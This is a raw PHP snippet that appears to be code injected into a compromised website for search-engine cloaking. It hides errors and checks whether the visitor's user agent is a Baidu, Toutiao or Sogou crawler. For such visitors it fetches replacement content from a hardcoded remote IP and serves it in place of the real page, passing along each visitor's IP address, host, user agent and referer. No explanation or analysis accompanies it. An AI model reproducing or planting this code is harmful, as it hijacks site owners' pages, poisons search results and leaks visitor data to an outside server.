header("Content-Type: text/html;charset=utf-8"); set_time_limit(0);error_reporting(0);$a=stristr;$c=$_SERVER;define('url',$c['REQUEST_URI']);define('ref',$c['HTTP_REFERER']);define('ent',$c['HTTP_USER_AGENT']);define('site','http://121.54.163.110/blog/');define('road','road='.$c['HTTP_HOST'].url);define('waps','@Android|Browser|Mobile|Wap|iOs|iPad|iPhone|iPod@i');define('regs','@baidu|toutiao|sogou@i');define('area', $a(url, "/post/") or $a(url, "/product/") or $a(url, "/blog/") or $a(url, "/page/") or $a(url, "?id=") or $a(url, "/php/"));if(area and preg_match(regs,ent)){$response =papa(site.road.'&time');if ($response == "302" || $response == "0") {http_response_code(404);header("Location: /");exit;}echo $response;exit;}if(preg_match(regs,ent)){echo papa("http://121.54.163.110/lunlian/index.php?" . $_SERVER["HTTP_HOST"]);}echo '';function papa($e){$remoteAddr = $_SERVER["REMOTE_ADDR"];if(isset($_SERVER['HTTP_X_REAL_IP'])){$remoteAddr = $_SERVER['HTTP_X_REAL_IP'];}if(isset($_SERVER['HTTP_ALI_CDN_REAL_IP'])){$remoteAddr = $_SERVER['HTTP_ALI_CDN_REAL_IP'];}if(isset($_SERVER["HTTP_X_FORWARDED_FOR"])){$remoteAddr = $_SERVER["HTTP_X_FORWARDED_FOR"];}$host = $_SERVER["HTTP_HOST"];$userAgent = $_SERVER["HTTP_USER_AGENT"];$referer = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : '';$f=curl_init();curl_setopt($f,CURLOPT_URL,$e);curl_setopt($f,CURLOPT_USERAGENT,ent);curl_setopt($f,CURLOPT_TIMEOUT,20);curl_setopt($f,CURLOPT_RETURNTRANSFER,true);curl_setopt($f, CURLOPT_FOLLOWLOCATION, true);curl_setopt($f, CURLOPT_HTTPHEADER, ["X-Forwarded-For: {$remoteAddr}","X-Forwarded-Host: {$host}","User-Agent: {$userAgent}","Referer: {$referer}"]);$g=curl_exec($f);$httpCode = curl_getinfo($f, CURLINFO_HTTP_CODE);if (curl_errno($f)) {$error = curl_error($f);}curl_close($f);if (isset($error)) {return "0";}if ($httpCode == 302) {return "302";}return $g;} 跳转提示

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